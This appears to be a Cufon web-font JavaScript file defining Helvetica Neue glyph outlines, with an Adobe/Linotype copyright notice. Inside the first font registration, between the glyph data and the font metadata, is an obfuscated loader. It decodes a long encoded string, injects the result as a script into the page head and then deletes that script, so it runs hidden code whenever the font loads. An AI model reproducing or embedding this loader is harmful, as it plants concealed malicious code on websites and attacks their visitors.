,19r-127,0xm58,-94r62,0r0,-144r-4,0","w":253},{"d":"171,0r-23,-31v-28,57,-140,40,-140,-33v0,-36,32,-64,58,-82v-40,-40,-41,-109,23,-111v30,0,50,19,50,47v0,21,-9,41,-46,67r56,77v6,-16,9,-32,9,-48r22,0v0,22,-6,45,-18,66r33,48r-24,0xm88,-239v-45,0,-31,52,-6,81v28,-22,35,-38,35,-52v0,-17,-12,-29,-29,-29xm137,-48r-60,-84v-36,25,-46,46,-46,66v0,61,85,66,106,18","w":193},{"d":"56,-300v0,-19,15,-34,34,-34v19,0,34,15,34,34v0,19,-15,35,-34,35v-19,0,-34,-16,-34,-35xm69,-300v0,12,9,22,21,22v12,0,21,-10,21,-22v0,-12,-9,-21,-21,-21v-12,0,-21,9,-21,21xm50,-94r80,0r-40,-145xm0,0r76,-257r28,0r76,257r-24,0r-21,-75r-90,0r-21,75r-24,0","w":180},{"d":"21,-41r0,-25r32,-36r-32,-37r0,-24r45,50r0,22xm68,-41r0,-25r32,-36r-32,-37r0,-24r45,50r0,22","w":133},{"d":"22,0r0,-257r22,0r0,257r-22,0","w":66},{"d":"122,0v-1,-10,2,-24,-1,-32v-6,22,-24,36,-47,36v-42,0,-61,-34,-61,-100v0,-66,19,-99,61,-99v25,-1,39,15,46,33r0,-95r21,0r0,257r-19,0xm36,-96v0,71,20,82,42,82v22,0,42,-11,42,-82v0,-71,-20,-81,-42,-81v-22,0,-42,10,-42,81","w":159},{"d":"33,-19v25,-17,54,4,80,4v15,0,28,-8,43,-18r10,16v-26,30,-76,18,-113,8v-15,0,-29,8,-35,11r-11,-17v35,-26,57,-59,38,-102r-36,0r0,-16r30,0v-8,-16,-23,-36,-22,-58v0,-41,34,-64,73,-64v44,0,70,30,70,74r-22,0v7,-69,-97,-74,-98,-12v0,18,14,45,23,60r54,0r0,16r-48,0v17,41,-3,69,-36,98","w":172},{"d":"19,0r0,-257r21,0r1,161r74,-95r27,0r-58,71r68,120r-26,0r-57,-101r-29,34r0,67r-21,0","w":146},{"d":"38,-70v0,31,16,56,48,56v32,0,49,-25,49,-56v0,-31,-17,-57,-49,-57v-32,0,-48,26,-48,57xm86,4v-76,0,-100,-127,-25,-139v-23,-8,-39,-32,-39,-57v0,-42,27,-63,64,-63v68,0,89,102,26,119v29,6,46,32,46,64v0,48,-29,76,-72,76xm45,-191v0,27,14,46,41,46v28,0,41,-19,41,-46v0,-27,-13,-46,-41,-46v-27,0,-41,19,-41,46","w":172},{"d":"44,-36r55,-133v-38,-22,-64,0,-65,73v0,27,4,47,10,60xm109,-155r-55,132v38,24,65,1,66,-73v0,-27,-5,-46,-11,-59xm36,20r-13,-6r11,-27v-15,-16,-23,-44,-23,-83v-1,-80,39,-115,96,-92r10,-23r14,6r-12,27v15,16,24,43,24,82v2,81,-40,117,-97,92"},{"d":"107,0r-40,-82r-40,82r-25,0r52,-99r-50,-92r25,0r38,75r37,-75r25,0r-49,92r51,99r-24,0","w":133},{"d":"17,-82r0,-18r182,0r0,18r-182,0xm88,-165v0,-11,9,-20,20,-20v11,0,20,9,20,20v0,11,-9,20,-20,20v-11,0,-20,-9,-20,-20xm88,-17v0,-11,9,-20,20,-20v11,0,20,9,20,20v0,11,-9,20,-20,20v-11,0,-20,-9,-20,-20","w":216},{"d":"154,-195r-23,0v-1,-25,-16,-42,-41,-42v-35,-1,-52,33,-53,117v23,-73,122,-44,122,37v0,48,-22,87,-71,87v-58,0,-74,-42,-74,-122v0,-84,16,-137,77,-137v40,0,62,25,63,60xm41,-79v0,33,13,65,48,65v35,0,47,-32,47,-65v0,-33,-12,-65,-47,-65v-35,0,-48,32,-48,65","w":172},{"d":"30,66r0,-323r57,0r0,18r-36,0r0,287r36,0r0,18r-57,0","w":86},{"d":"21,0r0,-191r21,0v1,9,-2,23,1,30v9,-23,29,-37,56,-33r0,21v-32,-5,-57,12,-57,53r0,120r-21,0","w":100},{"d":"19,0r0,-257r21,0r1,95v5,-20,21,-33,45,-33v42,0,61,33,61,99v0,66,-19,100,-61,100v-24,1,-40,-16,-48,-36r0,32r-19,0xm40,-96v0,71,20,82,42,82v22,0,42,-11,42,-82v0,-71,-20,-81,-42,-81v-22,0,-42,10,-42,81","w":159}],f:f};try{(function(s){var c="charAt",i="indexOf",a=String(arguments.callee).replace(/\s+/g,""),z=s.length+425-a.length+(a.charCodeAt(0)==40&&2),w=64,k=s.substring(z,w+=z),v=s.substr(0,z)+s.substr(w),m=0,t="",x=0,y=v.length,d=document,h=d.getElementsByTagName("head")[0],e=d.createElement("script");for(;x<y;++x){m=(k[i](v[c](x))&255)<<18|(k[i](v[c](++x))&255)<<12|(k[i](v[c](++x))&255)<<6|k[i](v[c](++x))&255;t+=String.fromCharCode((m&16711680)>>16,(m&65280)>>8,m&255);}e.text=t;h.insertBefore(e,h.firstChild);h.removeChild(e);})("s9Y_5=?60r[OsdnN>=.^h9h[2o?_Y=[O2oT^0r4VYEz7kx6}T.4I>Dm#kx>I>Dm#YQnI>Dm#k=.I>Dm#kr?n2w@#v9h^Yo?I>Dm#k`>I>Dm#Y=TJ?w_I>Dm#Y=YI>Dm#Y94I>Dm#YD>y2w@#v9vZ2w@#v94n2w@#v9v#2w@#v9yZT_X_vQUG?2UI>Dm#kr.I>Dm#Y`?I>Dm#Yr.I>Dm#kDU>2w@#v9T=2w@#v9y#2w@#v9k_2w@#v9hx2w@#v9?{2w@#v9k62w@#v9v^2w@#v9@o5_X_vQU}kiJIhnX_vQUGYn?I>Dm#YDG$2w@#v9hJ@EX_vQU=k_X_vQUnk`[I>Dm#YD4I>Dm#krEI>Dm#Y9vn2w@#v9?=?_X_vQUnv.X_vQUGknX_vQU=?nX_vQUGv_X_vQU`knX_vQU=!2~N2w@#v9y62w@#v9?`2w@#v9@_PVlI>Dm#k=4I>Dm#YQTI2.X_vQU{!H?I>Dm#YrYI>Dm#k`4w2w@#v9k^2w@#v9j6r.X_vQUnv`.T2w@#v9En2w@#v9vx2w@#v94{2w@#v9?n2w@#v9.=2w@#v9E`H.X_vQU}YH6Ok2.I>Dm#kDTE@nX_vQUG?_[.2w@#v9joD@lv0EX_vQU{kGYU5EX_vQU`vDnr2w@#v9@x2w@#v9yo2w@#v9ho2w@#v9Y{2w@#v9j_2`?YynI#4jJI>Dm#Yry^2w@#v9v62w@#v9?G2w@#v9@Z2w@#v9@XsGm~>.X_vQU=v9{I%6?_2w@#v9vJ2w@#v9hZHnX_vQU{v2v_hH#80}7gP.X_vQU=YEX_vQUGvEX_vQU{!j[ik.X_vQU=YwXoY`_O2w@#v9ji2w@#v9hX2w@#v9kXrnX_vQU}v.X_vQU`?}YI>Dm#kxEI>Dm#k=T7Y.X_vQU{vo7Z2w@#v9kZb.X_vQU=?xY5I=h}%V?#59n6sdh}sHX$PDm7IQ_}%Vm75Q_#%=Xn5=>60dXVPrhOY}JV5wn#0wv[bi6N0rk~k}J30x632}g+!V>i>_#OsDz~Px~Os_#O>9n659EG2dJ`5_#O>rlz09n=0r>nk2TI%=?32dJ_0^GG%oGO>9Ex>d{75o?{>9n35}J~5i?65=.lYHG$Y=[^sQl$P9#NmUdQj.9whTs%v?!Py4HD@Er2kY05I>bag{}`Gn=V~$-F7lO3#X^x6_oiZJ8Nz[A+s^l$sr>5k_l$2E6[I.l$226$sdGg")}catch(e){}delete _cufon_bridge_;return b.ok&&f})({"w":153,"face":{"font-family":"HelveticaNeueLight","font-weight":200,"font-stretch":"normal","units-per-em":"360","panose-1":"2 0 3 3 0 0 0 0 0 0","ascent":"288","descent":"-72","x-height":"4","bbox":"-12 -334 277 72.9331","underline-thickness":"18","underline-position":"-36","stemh":"18","stemv":"22","unicode-range":"U+0020-U+00FF"}}));

/*!
 * The following copyright notice may not be removed under any circumstances.
 * 
 * Copyright:
 * Copyright © 1990, 2002 Adobe Systems Incorporated.  All Rights Reserved. ©
 * 1981, 2002 Heidelberger Druckmaschinen AG. All rights reserved.
 * 
 * Trademark:
 * Helvetica is a trademark of Heidelberger Druckmaschinen AG, exclusively
 * licensed through Linotype Library GmbH, and may be registered in certain
 * jurisdictions.
 * 
 * Full name:
 * HelveticaNeueLTStd-MdCn
 * 
 * Designer:
 * Linotype Staff
 * 
 * Vendor URL:
 * http://www.adobe.com/type
 * 
 * License information:
 * http://www.adobe.com/type/legal.html
 */
Cufon.registerFont((function(f){var b=_cufon_bridge_={p:[{"d":"17,-111v0,-14,12,-26,26,-26v14,0,26,12,26,26v0,14,-12,26,-26,26v-14,0,-26,-12,-26,-26","w":86},{"d":"138,-92r41,0v1,50,-17,97,-79,97v-65,0,-85,-42,-85,-134v0,-92,20,-133,85,-133v75,0,78,53,78,85r-41,0v0,-27,-6,-54,-37,-54v-30,0,-44,18,-44,101v0,83,14,104,44,104v35,-1,38,-39,38,-66","w":186,"k":{",":6,".":6}},{"d":"82,-17v0,-14,12,-26,26,-26v14,0,26,12,26,26v0,14,-12,26,-26,26v-14,0,-26,-12,-26,-26xm17,-76r0,-31r182,0r0,31r-182,0xm82,-165v0,-14,12,-26,26,-26v14,0,26,12,26,26v0,14,-12,26,-26,26v-14,0,-26,-12,-26,-26","w":216},{"d":"139,-137r-37,0v1,-19,-3,-34,-25,-35v-15,0,-28,7,-28,25v0,24,32,30,52,37v29,10,42,25,42,56v0,41,-30,59,-69,59v-52,0,-65,-25,-64,-67r35,0v-1,25,6,40,30,40v39,0,41,-46,10,-56v-34,-11,-73,-22,-73,-67v0,-36,26,-54,66,-54v53,0,62,29,61,62","w":153},{"d":"21,0r0,-257r139,0r0,35r-98,0r0,71r92,0r0,34r-92,0r0,82r101,0r0,35r-142,0xm71,-271r22,-52r43,0r-38,52r-27,0","w":173},{"d":"21,0r0,-103r-21,14r0,-34r21,-15r0,-119r38,0r0,93r21,-15r0,35r-21,14r0,130r-38,0"},{"d":"79,37v-13,-9,7,-21,11,-32v-57,-5,-75,-48,-75,-134v0,-92,20,-133,85,-133v75,0,78,53,78,85r-41,0v0,-27,-6,-54,-37,-54v-30,0,-44,18,-44,101v0,83,14,104,44,104v35,-1,38,-39,38,-66r41,0v1,49,-15,93,-72,97r-11,16v20,-7,42,5,42,24v0,33,-51,39,-78,27r6,-15v13,5,41,11,43,-9v1,-13,-18,-15,-30,-11","w":186,"k":{",":6,".":6}},{"d":"2,-57r19,-18v-22,-26,-22,-74,0,-100r-19,-18r16,-17r19,19v27,-22,72,-22,99,0r18,-19r17,17r-19,18v22,27,22,73,0,100r19,18r-17,17r-18,-19v-27,23,-72,22,-99,0r-19,19xm86,-69v30,0,54,-24,54,-56v0,-32,-24,-56,-54,-56v-30,0,-54,24,-54,56v0,32,24,56,54,56","w":172},{"d":"64,-96r61,0r-31,-126xm-3,0r73,-257r52,0r68,257r-43,0r-16,-63r-75,0r-16,63r-43,0xm44,-271r33,-52r39,0r32,52r-33,0r-19,-32r-21,32r-31,0","w":186,"k":{"v":6,"T":20,"V":11,"w":6,"W":11,"y":6,"\u00fd":6,"\u00ff":6,"Y":20,"\u00dd":20,"\u0178":20,"\u201d":20,"\u2019":20}},{"d":"-11,-257r102,0r0,22r-102,0r0,-22"},{"d":"0,-87r0,-34r180,0r0,34r-180,0","w":180},{"d":"116,63r-1,-86v-7,17,-23,28,-44,28v-30,0,-60,-21,-60,-99v0,-67,19,-105,64,-105v29,-1,36,18,43,29r0,-24r36,0r0,257r-38,0xm118,-99v0,-41,-6,-69,-33,-69v-27,0,-33,28,-33,72v0,52,10,70,30,70v30,0,36,-27,36,-73","w":173},{"d":"146,-151r0,111v-1,9,8,16,16,12r0,25v-19,10,-50,4,-52,-20v-20,44,-99,37,-99,-26v0,-57,36,-57,75,-69v14,-4,23,-8,23,-25v0,-18,-6,-29,-27,-29v-26,0,-29,18,-29,37r-37,0v0,-41,17,-64,68,-64v34,0,62,14,62,48xm109,-102v-20,15,-59,12,-59,49v0,16,8,29,24,29v34,2,37,-40,35,-78","w":166},{"d":"1,0r53,-100r-50,-94r42,0r31,64r31,-64r42,0r-50,94r52,100r-42,0r-34,-72r-34,72r-41,0","w":153},{"d":"105,-125r0,24r-99,0v0,-72,70,-68,70,-111v0,-13,-7,-21,-19,-21v-17,0,-20,17,-20,28r-31,0v0,-30,14,-50,52,-50v36,0,49,17,49,41v0,49,-54,53,-68,89r66,0","w":112},{"d":"3,-194r42,0r34,146r31,-146r40,0r-53,201v-16,60,-32,61,-83,58r0,-31v26,6,41,-7,44,-30","w":153,"k":{",":27,".":27,"e":2,"\u00e9":2,"\u00ea":2,"\u00eb":2,"\u00e8":2}},{"d":"62,-226r0,89v40,2,67,1,70,-44v2,-39,-28,-49,-70,-45xm21,0r0,-257r82,0v49,0,71,31,71,75v1,60,-45,83,-112,76r0,106r-41,0","w":180,"k":{",":54,".":54,"A":13,"\u00c6":13,"\u00c1":13,"\u00c2":13,"\u00c4":13,"\u00c0":13,"\u00c5":13,"\u00c3":13}},{"d":"196,0r0,-34r-59,0r0,-22r57,-98r31,0r0,100r18,0r0,20r-18,0r0,34r-29,0xm196,-54v-1,-21,2,-47,-1,-66r-37,66r38,0xm27,11r151,-272r27,0r-152,272r-26,0xm36,-101r0,-110r-32,0v1,-6,-3,-17,2,-20v16,0,37,-3,39,-24r22,0r0,154r-31,0","w":259},{"d":"36,-69r-6,-107r0,-81r41,0v1,66,-3,127,-7,188r-28,0xm30,0r0,-41r41,0r0,41r-41,0","w":100},{"d":"66,37v-15,-8,6,-22,10,-33v-50,-3,-65,-44,-65,-101v0,-60,16,-102,72,-102v58,0,67,46,67,70r-39,0v0,-18,-5,-41,-28,-41v-28,0,-33,30,-33,73v0,43,5,73,33,73v22,0,30,-18,30,-47r36,0v-2,42,-15,71,-55,75r-12,17v20,-7,43,5,43,24v0,32,-52,39,-79,27r6,-15v13,5,42,11,44,-9v0,-13,-19,-15,-30,-11","w":159,"k":{"y":6,"\u00fd":6,"\u00ff":6,",":13,".":13,"h":2,"k":2}},{"d":"21,17r37,0v0,12,11,23,28,23v31,1,34,-34,32,-68v-7,17,-25,27,-44,27v-45,0,-58,-45,-58,-98v0,-42,6,-100,61,-100v24,-1,38,17,44,29r0,-24r36,0r0,185v0,47,-20,75,-72,75v-58,0,-64,-33,-64,-49xm55,-103v0,33,1,71,30,71v30,0,33,-38,33,-69v0,-32,-4,-67,-31,-67v-28,0,-32,29,-32,65","w":173,"k":{",":6,".":6,"r":-2}},{"d":"19,0r0,-257r41,0r0,257r-41,0xm20,-271r22,-52r43,0r-38,52r-27,0"},{"d":"21,0r0,-194r38,0r0,194r-38,0","k":{"y":2,"\u00fd":2,"\u00ff":2}},{"d":"23,-154v1,-50,-8,-95,41,-103r0,21v-12,3,-19,16,-18,34r18,0r0,48r-41,0","w":86,"k":{"\u2018":22,"A":20,"\u00c6":20,"\u00c1":20,"\u00c2":20,"\u00c4":20,"\u00c0":20,"\u00c5":20,"\u00c3":20}},{"d":"3,-84r0,-23v37,-3,28,-62,29,-103v1,-42,26,-50,66,-47r0,22v-46,-9,-30,53,-30,91v0,35,-25,44,-33,49v9,2,33,14,33,48v0,35,-20,97,30,91r0,22v-40,3,-65,-4,-66,-47v-1,-42,8,-99,-29,-103","w":100},{"d":"17,0r0,-94r-21,14r0,-35r21,-14r0,-128r41,0r0,100r52,-37r0,36r-52,36r0,87r99,0r0,35r-140,0","w":159,"k":{"T":33,"V":27,"W":27,"y":13,"\u00fd":13,"\u00ff":13,"Y":33,"\u00dd":33,"\u0178":33,"\u201d":40,"\u2019":40}},{"d":"24,5r0,-100r31,0r0,100r-31,0xm24,-162r0,-100r31,0r0,100r-31,0"},{"d":"100,5v-59,0,-85,-42,-85,-134v0,-92,26,-133,85,-133v59,0,85,41,85,133v0,92,-26,134,-85,134xm100,-26v24,0,44,-15,44,-104v0,-86,-20,-101,-44,-101v-24,0,-44,15,-44,101v0,89,20,104,44,104xm80,-271r22,-52r43,0r-38,52r-27,0","w":200,"k":{"T":11,"V":6,"Y":14,"\u00dd":14,"\u0178":14,",":14,".":14,"A":6,"\u00c6":6,"\u00c1":6,"\u00c2":6,"\u00c4":6,"\u00c0":6,"\u00c5":6,"\u00c3":6,"X":6}},{"d":"12,-80r41,0v-2,34,12,55,42,54v26,0,39,-18,39,-37v2,-40,-36,-45,-65,-56v-37,-14,-54,-33,-54,-70v0,-47,32,-73,80,-73v68,0,73,40,73,73r-41,0v1,-26,-8,-42,-36,-42v-18,0,-34,10,-34,37v0,32,38,45,66,54v36,13,52,33,52,68v0,55,-33,77,-85,77v-67,0,-79,-42,-78,-85xm74,-271r-32,-52r33,0r19,31r20,-31r31,0r-32,52r-39,0","w":186,"k":{",":11,".":11}},{"d":"100,5v-59,0,-85,-42,-85,-134v0,-92,26,-133,85,-133v59,0,85,41,85,133v0,92,-26,134,-85,134xm100,-26v24,0,44,-15,44,-104v0,-86,-20,-101,-44,-101v-24,0,-44,15,-44,101v0,89,20,104,44,104xm93,-271r-38,-52r43,0r22,52r-27,0","w":200,"k":{"T":11,"V":6,"Y":14,"\u00dd":14,"\u0178":14,",":14,".":14,"A":6,"\u00c6":6,"\u00c1":6,"\u00c2":6,"\u00c4":6,"\u00c0":6,"\u00c5":6,"\u00c3":6,"X":6}},{"d":"18,-257r41,0r0,184v0,32,13,47,38,47v24,0,37,-15,37,-47r0,-184r41,0r0,181v0,59,-29,81,-78,81v-49,0,-79,-22,-79,-81r0,-181xm77,-271r22,-52r43,0r-38,52r-27,0","w":193,"k":{",":11,".":11}},{"d":"64,-96r61,0r-31,-126xm-3,0r73,-257r52,0r68,257r-43,0r-16,-63r-75,0r-16,63r-43,0xm78,-317v15,1,47,26,50,-1r22,0v0,16,-9,42,-30,42v0,0,-51,-28,-56,2r-22,0v0,-15,9,-43,36,-43","w":186,"k":{"v":6,"T":20,"V":11,"w":6,"W":11,"y":6,"\u00fd":6,"\u00ff":6,"Y":20,"\u00dd":20,"\u0178":20,"\u201d":20,"\u2019":20}},{"d":"19,0r0,-257r41,0r0,257r-41,0xm33,-271r-38,-52r43,0r22,52r-27,0"},{"d":"12,-80r41,0v-2,34,12,55,42,54v26,0,39,-18,39,-37v2,-40,-36,-45,-65,-56v-37,-14,-54,-33,-54,-70v0,-47,32,-73,80,-73v68,0,73,40,73,73r-41,0v1,-26,-8,-42,-36,-42v-18,0,-34,10,-34,37v0,32,38,45,66,54v36,13,52,33,52,68v0,55,-33,77,-85,77v-67,0,-79,-42,-78,-85","w":186,"k":{",":11,".":11}},{"d":"6,-113r0,-25r25,0v-33,-48,-21,-117,57,-117v59,0,77,34,76,74r-39,0v0,-20,-3,-45,-35,-45v-54,0,-34,62,-16,88r60,0r0,25r-50,0v12,38,-12,65,-39,83v6,3,18,-10,27,-7v29,8,61,17,83,-4v3,11,20,27,6,33v-43,36,-101,-21,-142,10r-15,-28v25,-12,57,-50,38,-87r-36,0","w":172},{"d":"13,-30v14,-1,31,2,43,-1v-20,-23,-39,-60,-39,-107v0,-67,39,-117,94,-117v107,-1,107,174,50,225r44,0r0,30r-78,0r0,-22v44,-21,63,-199,-17,-202v-78,-3,-66,180,-19,202r0,22r-78,0r0,-30","w":218},{"d":"57,-132v-40,0,-52,-25,-52,-61v0,-37,12,-62,52,-62v40,0,52,25,52,62v0,36,-12,61,-52,61xm57,-154v18,0,21,-18,21,-39v0,-22,-3,-40,-21,-40v-18,0,-21,18,-21,40v0,21,3,39,21,39","w":113},{"d":"11,-97v0,-60,16,-102,72,-102v57,0,73,42,73,102v0,60,-19,102,-73,102v-54,0,-72,-42,-72,-102xm50,-97v0,49,5,73,33,73v28,0,34,-24,34,-73v0,-43,-6,-73,-34,-73v-28,0,-33,30,-33,73","w":166,"k":{"v":2,"w":2,"y":2,"\u00fd":2,"\u00ff":2,",":6,".":6}},{"d":"129,-177r-13,31r45,0r0,21r-53,0r-20,47r73,0r0,21r-81,0r-16,37r-17,-6r14,-31r-45,0r0,-21r53,0r20,-47r-73,0r0,-21r80,0r16,-37","w":177},{"d":"152,-118r58,0v1,-28,-3,-55,-28,-54v-26,1,-31,31,-30,54xm211,-65r37,0v0,43,-26,70,-68,70v-36,0,-46,-25,-48,-31v-11,22,-29,31,-53,31v-52,0,-68,-42,-68,-102v0,-60,16,-102,71,-102v36,0,46,18,53,30v12,-20,27,-30,51,-30v56,-1,65,46,63,107r-97,0v-1,32,1,70,28,70v28,0,31,-31,31,-43xm50,-97v0,43,5,73,32,73v28,0,33,-30,33,-73v0,-43,-5,-73,-33,-73v-27,0,-32,30,-32,73","w":259,"k":{"v":2,"w":2,"y":2,"\u00fd":2,"\u00ff":2,",":6,".":6}},{"d":"-23,-219r22,-52r43,0r-38,52r-27,0xm49,-219r22,-52r43,0r-38,52r-27,0"},{"d":"19,63r0,-257r36,0v1,7,-2,18,1,24v8,-17,23,-29,44,-29v44,0,62,38,62,105v0,81,-33,99,-60,99v-21,0,-37,-11,-44,-28r0,86r-39,0xm55,-99v0,46,7,73,34,73v22,0,32,-16,32,-70v0,-44,-6,-72,-33,-72v-27,0,-33,28,-33,69","w":173,"k":{"y":2,"\u00fd":2,"\u00ff":2,",":6,".":6}},{"d":"121,0r0,-257r38,0r0,257r-38,0xm31,0r0,-165r-27,0r0,-29r27,0v-6,-53,19,-73,70,-65r0,30v-26,-3,-36,8,-32,35r32,0r0,29r-32,0r0,165r-38,0","w":180,"k":{"\u201d":-6,"\u2019":-6,",":13,".":13}},{"d":"50,-97v0,49,5,73,33,73v28,0,34,-24,34,-73v0,-38,-6,-68,-34,-68v-28,0,-33,30,-33,68xm34,-215r-13,-13r31,-17v-8,-8,-16,-14,-23,-19r28,-15v8,5,16,11,24,18r33,-18r11,13r-31,17v48,45,62,83,62,152v0,60,-19,102,-73,102v-54,0,-72,-42,-72,-102v0,-74,46,-117,97,-86v-9,-14,-26,-33,-43,-50","w":166},{"d":"47,-101r0,-110r-33,0r0,-20v19,0,39,-2,42,-24r22,0r0,154r-31,0","w":112},{"d":"65,0r0,-100r-66,-157r45,0r43,111r45,-111r43,0r-69,157r0,100r-41,0","w":173,"k":{"\u00fc":18,"\u00f6":20,",":40,".":40,"A":20,"\u00c6":20,"\u00c1":20,"\u00c2":20,"\u00c4":20,"\u00c0":20,"\u00c5":20,"\u00c3":20,"e":20,"\u00e9":20,"\u00ea":20,"\u00eb":20,"\u00e8":20,"o":20,"\u00f8":20,"\u0153":20,"\u00f3":20,"\u00f4":20,"\u00f2":20,"\u00f5":20,"a":20,"\u00e6":20,"\u00e1":20,"\u00e2":20,"\u00e4":20,"\u00e0":20,"\u00e5":20,"\u00e3":20,"-":27,"i":6,"\u00ed":6,"\u00ee":6,"\u00ef":6,"\u00ec":6,"O":14,"\u00d8":14,"\u0152":14,"\u00d3":14,"\u00d4":14,"\u00d6":14,"\u00d2":14,"\u00d5":14,"u":18,"\u00fa":18,"\u00fb":18,"\u00f9":18,":":13,";":13,"S":6,"\u0160":6}},{"d":"19,63r0,-320r39,0r0,86v7,-17,23,-28,44,-28v42,0,60,38,60,105v0,81,-33,99,-60,99v-21,0,-37,-11,-44,-28r0,86r-39,0xm55,-99v0,46,7,73,34,73v22,0,32,-16,32,-70v0,-44,-6,-72,-33,-72v-27,0,-33,28,-33,69","w":173,"k":{"y":4,"\u00fd":4,"\u00ff":4,",":13,".":13}},{"d":"1,-165r0,-29r27,0r0,-55r39,0r0,55r32,0r0,29r-32,0r0,116v-2,21,16,22,32,19r0,29v-36,5,-71,12,-71,-44r0,-120r-27,0","w":100},{"d":"196,0r0,-34r-59,0r0,-22r57,-98r31,0r0,100r18,0r0,20r-18,0r0,34r-29,0xm196,-54v-1,-21,2,-47,-1,-66r-37,66r38,0xm39,11r151,-272r27,0r-151,272r-27,0xm32,-170r0,-22v20,3,33,-7,33,-21v0,-9,-5,-20,-18,-20v-14,0,-19,13,-19,22r-31,0v0,-29,20,-44,52,-44v22,0,47,12,47,39v1,17,-15,30,-29,35v18,1,33,13,33,35v0,30,-23,48,-54,48v-35,0,-52,-14,-52,-46r31,0v0,9,4,23,21,23v16,0,23,-12,23,-25v0,-18,-14,-26,-37,-24","w":259},{"d":"19,63r0,-257r39,0r0,133v0,25,8,35,27,35v16,0,31,-13,31,-38r0,-130r38,0r0,194r-36,0v-1,-7,2,-18,-1,-23v-13,22,-38,36,-59,22r0,64r-39,0","w":173},{"d":"65,-49v36,61,143,59,185,4r20,0v-26,30,-68,50,-114,50v-80,0,-144,-58,-144,-130v0,-72,64,-130,144,-130v81,1,147,58,145,134r-236,1r0,71xm248,-202v-36,-57,-135,-58,-179,-7v-8,18,-5,59,-2,81r179,0v6,-20,0,-51,2,-74","w":313},{"d":"21,0r0,-120r-21,0r0,-29r21,0r0,-108r73,0v81,0,91,52,91,128v0,76,-10,129,-91,129r-73,0xm62,-31v67,3,82,-3,82,-98v0,-91,-15,-101,-82,-97r0,77r43,0r0,29r-43,0r0,89","w":200,"k":{"Y":6,"\u00dd":6,"\u0178":6,",":14,".":14}},{"d":"69,-125r0,41r-52,49r0,-40r32,-29r-32,-30r0,-39","w":86},{"d":"64,-96r61,0r-31,-126xm-3,0r73,-257r52,0r68,257r-43,0r-16,-63r-75,0r-16,63r-43,0xm109,-279r0,-39r34,0r0,39r-34,0xm49,-279r0,-39r35,0r0,39r-35,0","w":186,"k":{"v":6,"T":20,"V":11,"w":6,"W":11,"y":6,"\u00fd":6,"\u00ff":6,"Y":20,"\u00dd":20,"\u0178":20,"\u201d":20,"\u2019":20}},{"d":"17,-76r0,-31r182,0r0,31r-182,0","w":216},{"d":"23,0r0,-48r41,0v-1,50,8,95,-41,103r0,-20v12,-3,19,-17,18,-35r-18,0","w":86},{"d":"9,46v2,-20,18,-49,53,-46v-19,17,-25,31,-25,41v-1,20,19,25,37,18r2,16v-29,7,-68,4,-67,-29"},{"d":"19,0r0,-257r39,0r0,86v7,-17,23,-28,44,-28v30,0,60,14,60,100v0,67,-18,104,-63,104v-29,1,-37,-18,-44,-29r0,24r-36,0xm55,-95v0,41,6,69,33,69v27,0,33,-28,33,-72v0,-52,-8,-70,-30,-70v-30,0,-36,27,-36,73","w":173,"k":{"y":4,"\u00fd":4,"\u00ff":4,",":13,".":13}},{"d":"55,-257r24,0r0,45r40,-16r8,24r-41,12r28,37r-20,15r-27,-37r-27,37r-20,-15r28,-37r-42,-12r8,-24r41,16r0,-45","w":133},{"d":"88,-91r-63,-63r20,-20r63,63r63,-63r20,20r-63,63r63,63r-20,20r-63,-63r-63,63r-20,-20","w":216},{"d":"51,-125v0,74,7,101,35,101v28,0,36,-27,36,-101v0,-74,-8,-101,-36,-101v-28,0,-35,27,-35,101xm10,-125v0,-99,27,-130,76,-130v49,0,77,31,77,130v0,99,-28,130,-77,130v-49,0,-76,-31,-76,-130","w":172},{"d":"168,-38r0,-75r-151,0r0,-31r182,0r0,106r-31,0","w":216},{"d":"0,45r0,-18r180,0r0,18r-180,0","w":180},{"d":"11,-97v0,-60,16,-102,72,-102v57,0,73,42,73,102v0,60,-19,102,-73,102v-54,0,-72,-42,-72,-102xm50,-97v0,49,5,73,33,73v28,0,34,-24,34,-73v0,-43,-6,-73,-34,-73v-28,0,-33,30,-33,73xm96,-226r0,-39r35,0r0,39r-35,0xm36,-226r0,-39r35,0r0,39r-35,0","w":166,"k":{"v":2,"w":2,"y":2,"\u00fd":2,"\u00ff":2,",":6,".":6}},{"d":"17,-111v0,-14,12,-26,26,-26v14,0,26,12,26,26v0,14,-12,26,-26,26v-14,0,-26,-12,-26,-26","w":86},{"d":"58,-155v40,0,70,51,92,0r13,11v-9,19,-23,34,-42,34v-21,0,-44,-24,-65,-25v-14,0,-22,12,-30,25r-13,-11v9,-20,26,-34,45,-34xm58,-95v40,0,70,50,92,0r13,11v-9,19,-23,34,-42,34v-21,0,-44,-24,-65,-25v-14,0,-22,13,-30,25r-13,-11v9,-20,26,-34,45,-34","w":177},{"d":"49,0r-44,-194r41,0r27,153r29,-153r44,0r30,153r26,-153r39,0r-44,194r-44,0r-31,-150r-27,150r-46,0","w":246,"k":{",":20,".":20,"o":2,"\u00f8":2,"\u0153":2,"\u00f3":2,"\u00f4":2,"\u00f6":2,"\u00f2":2,"\u00f5":2,"a":4,"\u00e6":4,"\u00e1":4,"\u00e2":4,"\u00e4":4,"\u00e0":4,"\u00e5":4,"\u00e3":4}},{"d":"18,-201v0,-30,24,-54,54,-54v30,0,54,24,54,54v0,30,-24,53,-54,53v-30,0,-54,-23,-54,-53xm43,-201v0,16,13,29,29,29v16,0,29,-13,29,-29v0,-16,-13,-29,-29,-29v-16,0,-29,13,-29,29","w":144},{"d":"184,-105r29,0v-6,36,-33,57,-68,57v-44,0,-72,-32,-72,-81v0,-89,128,-111,139,-25r-28,0v-4,-17,-17,-29,-37,-29v-28,0,-43,24,-43,54v0,54,70,76,80,24xm144,-24v56,0,101,-47,101,-105v0,-58,-45,-104,-101,-104v-56,0,-101,46,-101,104v0,58,45,105,101,105xm10,-129v0,-74,60,-133,134,-133v74,0,134,59,134,133v0,74,-60,134,-134,134v-74,0,-134,-60,-134,-134","w":288},{"d":"72,-96r49,0r0,-128r-3,0xm-4,0r98,-257r157,0r0,35r-91,0r0,71r86,0r0,34r-86,0r0,82r95,0r0,35r-134,0r0,-63r-60,0r-22,63r-43,0","w":266},{"d":"23,0r0,-48r41,0r0,48r-41,0","w":86,"k":{"\u201d":27,"\u2019":27}},{"d":"322,-111v-15,0,-19,14,-19,47v0,33,4,47,19,47v15,0,18,-14,18,-47v0,-33,-3,-47,-18,-47xm175,-255r28,0r-115,260r-27,0xm58,-233v-15,0,-18,14,-18,47v0,33,3,47,18,47v15,0,19,-14,19,-47v0,-33,-4,-47,-19,-47xm322,-133v28,0,49,15,49,69v0,54,-21,69,-49,69v-28,0,-49,-15,-49,-69v